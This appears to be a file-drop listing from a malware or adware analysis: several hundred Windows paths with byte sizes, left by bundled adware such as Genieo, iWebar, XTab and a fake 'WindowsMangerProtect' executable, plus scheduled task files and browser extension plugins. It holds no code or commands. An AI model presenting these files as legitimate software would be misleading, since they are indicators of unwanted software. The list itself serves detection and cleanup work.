C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\63d8dfb6ed59c1ef51f8323fce77b3ce.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\aec16b6465737e3d904f4912c55f2eed.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (31 bytes)
C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (2444 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF104.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF104.tmp\setup1.exe (144456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF103.tmp (154091 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF104.tmp\setup.exe (1604939 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF104.tmp\D1958.dll (30 bytes)
C:\Windows\Tasks\b26f5a73-8099-47b6-80d1-63be8518ea67-5_user.job (74 bytes)
%Program Files% (x86)\iWebar\b26f5a73-8099-47b6-80d1-63be8518ea67.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\wdyvlmgk.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd312E.tmp (561761 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\ssrlncfjy.dll (13 bytes)
C:\Windows\Tasks\b26f5a73-8099-47b6-80d1-63be8518ea67-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\eerrav.dll (13 bytes)
%Program Files% (x86)\iWebar\b26f5a73-8099-47b6-80d1-63be8518ea67-5.exe (7971 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\472751 (97678 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\ffkzn.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\zejghs.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\287994 (3429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\eodefhbq.dll (23 bytes)
%Program Files% (x86)\iWebar\b26f5a73-8099-47b6-80d1-63be8518ea67-4.exe (9654 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\xehbx.dll (3730 bytes)
%Program Files% (x86)\iWebar\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\b26f5a73-8099-47b6-80d1-63be8518ea67-4.dll (46916 bytes)
%Program Files% (x86)\iWebar\utils.exe (70317 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\hmnlq.dll (31245 bytes)
%Program Files% (x86)\XTab\conf (1750 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)
%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll (311 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.2528 (135036 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll (3153 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll (146 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll (700 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\targetDefaultPortals.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_tmp_template.txt (61 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\gad_categories.txt (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\xstream-1.3.1.jar (15168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\all_datetime.stop (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\bin\debugInfoCollector.l4j.ini (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\nl_stops2_stemmed.stop (416 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\Info_1_7.plist (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\drafts\de_top_1000_draft.txt (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\da_topwords.txt (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\tr_stops_stemmed.stop (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\servlet-api-2.5.jar (4992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\nl_stops_stemmed.stop (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\heb_white_list.txt (8560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\smtp.jar (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\bin\genieo_console.l4j.ini (118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\he_common500cleaned.stop (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\x64\NativeUtils.dll (21216 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\protostuff-core-1.0.1.jar (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\da_stops_stemmed.stop (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\sac.jar (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_MergedStemmedEnglish.stop (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\NativeUtils.dll (16424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\en_topwords.txt (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdD652.tmp (300445 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\jetty-webapp-7.3.0.v20110203.jar (32128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\tray_icons_mac\tray_mac_installing.png (345 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\rome-1.0.jar (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\it_top_500_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\uninstall\framework_uninstall.exe (825 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\drafts\es_top_1000_draft.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\nl_topwords.txt (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_top_500_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_numbers.stop (54 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\xpp3_min-1.1.4c.jar (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\sqlite-jdbc-3.7.2-windows.jar (20624 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\drafts\it_top_1000_draft.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\no_stops_stemmed1.stop (559 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\no_stops_stemmed_more.stop (583 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\de_top_500_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\engine_tray_icon_dev.png (632 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\ro_morestops.stop (53 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\ini4j-0.5.1.jar (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\de_merged_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\modules-0.3.2.jar (9320 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\dd-plist.jar (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\en_nationalities.txt (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\explicit\bannedList.dat (388 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\commons-codec-1.6.jar (8560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories_outb.txt (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories_mapping_outb.txt (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\protostuff-runtime-1.0.1.jar (9320 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\slf4j-api-1.6.0.jar (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\Info.plist (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\all_misc.stop (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\cssparser-0.9.5.jar (9320 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\tray_icons_mac\tray_mac_disabled.png (421 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_anabel.stop (319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_date_time.stop (499 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\defaultPortals.xml (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\log4j-1.2.15.jar (13368 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\commons-logging-1.1.1.jar (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\ro_topwords.txt (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\defaultFeeds.xml (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\genieoLogo24.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\readme.txt (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\httpcore-4.2.jar (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\slf4j-log4j12-1.6.0.jar (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\es_merged_stemmed.stop (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\es_topwords.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\he_numbers_and_currencies.stop (78 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdD653.tmp\NSISdl.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\hu_topwords.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\log4j_release_mac.properties (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\restfb-1.6.12.jar (10136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\ru_stops_stemmed2.stop (892 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\httpmime-4.2.jar (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\nl_stops_stemmed_new.stop (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\sitelang.txt (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\tray_icons_mac\tray_mac_new_items.png (343 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\protostuff-collectionschema-1.0.1.jar (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\product_domains.txt (571 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\ru_merged_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\log4j_release.properties (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\tr_topwords.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\it_topwords.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\texts\fr_lang.properties (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\it_merged_stemmed.stop (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\hu_stops_stemmed.stop (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\all_ToBeAddedToStop.stop (117 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\pt_stops_stemmed_v0.stop (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\engine.properties (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\engine.jar (65930 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\zombie_icon.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\fr_merged_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories_ob_withadult.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\log4j_dev.properties (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\sv_topwords.txt (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\he_date_time.stop (342 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\de_merged_stemmed2.stop (347 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\fr_top_500_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\he_tmp_template_all.txt (176 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\fr_topwords.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\apache-mime4j-0.6.jar (12088 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\pt_stops_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\fi_topwords.txt (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\JGoogleAnalyticsTracker-1.2.1-SNAPSHOT.jar (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\lucene-snowball-3.0.0.jar (4992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\isgenieoalive.dat (1980 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\gad_categories_multilingual.txt (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\tray_icons_mac\tray_mac.png (333 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\drafts\en_top_1000_draft.txt (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\signpost-core-1.2.1.1.jar (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\jdom.jar (5520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\explicit\explicit_content.dat (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\engine_tray_icon.png (723 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\texts\en_lang.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\no_stops_stemmed.stop (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\bin\debugInfoCollector.exe (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\pt_stops_more.stop (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\explicit\explicitList.dat (491 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\pt_topwords.txt (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\texts\ru_lang.properties (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\sv_stops_stemmed.stop (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\texts\default.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\de_topwords.txt (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\explicit\bannedListByURL.dat (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_25nouns_wiki.stop (169 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\nl_stops_stemmed3.stop (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\fr_stops_stemmed2.stop (395 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\texts\origin\ru_lang.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\genieutils.exe (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\preset_feeds.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\cluto_wrapper.properties (942 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\json.jar (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\httpclient-4.2.jar (14184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\no_topwords.txt (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories_mapping.txt (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\fi_stops_stemmed.stop (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\amazon_ad_api.jar (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\nl_morestops.stop (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\protostuff-api-1.0.1.jar (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\he_general.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\drafts\fr_top_1000_draft.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\drafts\de_top_100_draft.txt (582 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\ro_stops_stemmed.stop (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\all_explicit.stop (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories_ob.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\jericho-html-3.1.jar (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories_articlebase.txt (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\bin\genieo.l4j.ini (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\it_stops_stemmed2.stop (473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlc-qt-interface.ini (25 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.3208 (45012 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlcrc.3208 (11109 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\MozillaHistoryView\readme.txt (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\JDOM_FAQ.htm (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso94C1.tmp (32607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\Jericho HTML Parser.htm (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\JDIC_Plus_index.html (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\Apache log4j 1.2 - Project License.htm (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\JettyNOTICE.txt (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\TrayUi\bin\gentray.exe (18964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\JavaMail API Reference Implementation Ã¢â‚¬â€ Project Kenai.htm (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\reallysimplehistory - Project Hosting on Google Code.htm (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\License - jQuery JavaScript Library.htm (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\uninstall\Elevate.exe (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\iehv\iehv.chm (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\IeSearchProvider.exe (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\OpenSorcePackagesInUse.txt (295 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\conf\conf.ini (227 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\Launch4j - Cross-platform Java executable wrapper.htm (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\iehv\readme.txt (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\oauth-signpost - Project Hosting on Google Code.htm (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso94C2.tmp\fct.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\license.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\TrayUi\conf\conf.ini (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\uninstall\updater_uninstall.exe (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\IE HistoryView Freeware Internet Explorer History Viewer.htm (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\JavaMail_SMTP.txt (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso94C2.tmp\KillProcDLL.dll (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\MozilaHistoryViewbrowsers.htm (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\prepenv_setup.exe (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\conf\updater_manifest.xml (297 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\MozillaHistoryView\MozillaHistoryView.chm (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\SQLite Copyright.htm (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\Licenses.htm (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\firsttime_setup.exe (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\genupdater.exe (10430 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\license\LicenseAgreement.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\genieo_temp\InstallGenieo.exe (18368 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn902F.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn902E.tmp (33533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\genieo_temp\genieo_setup.exe (16903 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18698\ins_iwebar.exe (42441 bytes)
